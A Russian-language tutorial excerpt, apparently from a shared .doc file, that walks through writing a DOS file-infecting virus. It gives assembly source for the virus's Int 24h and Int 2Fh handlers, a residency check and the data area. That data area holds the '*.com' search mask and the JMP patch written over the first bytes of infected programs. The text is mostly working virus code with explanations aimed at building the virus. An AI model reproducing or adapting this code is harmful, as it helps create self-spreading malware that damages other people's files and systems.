Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
virur.doc
Скачиваний:
3
Добавлен:
17.08.2019
Размер:
1.01 Mб
Скачать

2.19 Обработчик Int 24h

Этот обработчик должен устанавливать собственную

реакцию на критическую ошибку .Вызывается он очень

редко,поэтому просто сделаем так,чтобы при появле-

нии ошибки не происходило " зависание " .Для этого

достаточно вернуть управление прерванной програм-

ме,поместив предварительно в регистр AL код " 3 ":

;-------------------------------------------------

to_new_24h equ $ - vir

new_24h: mov al,3 ;Вернем програм-

iret ;ме управление

2.20 Обработчик Int 2Fh

Напишем обработчик Int 2Fh . Мы договорились испо-

льзовать это прерывание для проверки наличия виру-

са в памяти .

Напомним,что секция инициализации для решения ука-

занной задачи вызывает Int 2Fh c такими параметра-

ми :

AX = 0F000h

BX = 01997h .

Если вирус уже инсталлирован в память,его обработ-

чик должен вернуть AL = 0FFh, это значение и ана-

лизирует секция инициализации при запуске заражен-

шой программы . Исходя из всего сказанного, можно

написать такой фрагмент :

;-------------------------------------------------

to_new_2fh equ $ - vir

new_2fh: pushf

cmp ax,0f000h

jne cs:not_our

cmp bx,1997h

jne cs:not_our

mov al,0ffh

popf

iret

not_our: popf

db 0eah

old_2fh dw 0

old_2fh_2 dw 0

Если вызывается прерывание Int 2Fh с параметрами,

отличными от AX = 0F000h и BX = 01997h, вирусный

обработчик просто возвращает управление системно-

му . В противном случае управление передается пре-

рванной программе, причем в этом случае AL будет

равно 0FFh.

2.21 Обработчик Int 28h

Строго говоря, мы его уже написали ( см. п. 2.5 ,

п. 2.6 и т.д. ).Именно он занимается поиском и за-

ражением файлов,пользуясь для этого функциями DOS.

Но так как эти функции используются тогда, когда

активно прерывание Int 28h, ничего страшного про-

изойти не должно .

2.22 Область данных вируса

Теперь мы можем привести все данные, с которыми

работает наш вирус :

;/***********************************************/

;Data area

old_bytes db 0e9h ;Исходные три

dw vir_len + 0dh ;байта ...

dta_save db 128 dup (0) ;Массив для DTA

maska db '*.com',0 ;Маска для поис-

;ка ...

fn db 12 dup (' '),0 ;Место для имени

;файла

new_bytes db 0e9h ;Код команды

;" JMP ..."

db 00h ;HIGH

db 00h ;LOW

;Он записывается

;в файл вместо

;первых трех

;байт ...

end_file db 0ebh ;Первые два бай-

db push_len ;та вируса в

;файле (команда

;перехода на се-

;кцию инициали-

;зации ...

ss_save dw 0 ;Буфера для SS

sp_save dw 0 ;и SP ...

help_word dw 0 ;Промежуточная

;ячейка .

com_com db 'COMMAND' ;Имя командного

;процессора ...

inside db 0 ;Ячейка - инди-

;катор ...

last db 0 ;Последний байт

to_newstack equ $ - vir ;Смещение к сте-

;ку ...

newstack dw 70 dup ( 0 ) ;Новый стек ...

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]